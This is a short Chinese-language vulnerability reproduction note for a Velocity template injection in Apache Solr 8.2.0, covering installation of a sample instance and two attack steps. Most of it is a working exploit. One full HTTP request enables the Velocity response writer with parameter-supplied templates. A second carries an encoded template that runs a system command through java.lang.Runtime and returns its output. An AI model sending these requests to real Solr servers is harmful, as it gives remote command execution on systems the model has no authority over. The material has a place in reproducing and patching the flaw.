漏洞描述
国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr.
漏洞编号
无
影响范围
包括但不限于8.2.0(20191031最新版本)
漏洞复现
下载
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解压进入solr-8.2.0/bin目录安装
./solr -e dih -force //开启示例app访问主页面http://127.0.0.1:8983/solr/#/
点击左侧Core Selector 查看集合名称
以集合mail为例
1.修改集合设置
POST /solr/mail/config HTTP/1.1
Host: 192.168.30.100:8983
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
2.命令执行（命令在exec('id')位置）
GET /solr/mail/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.30.100:8983
Content-Length: 309
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close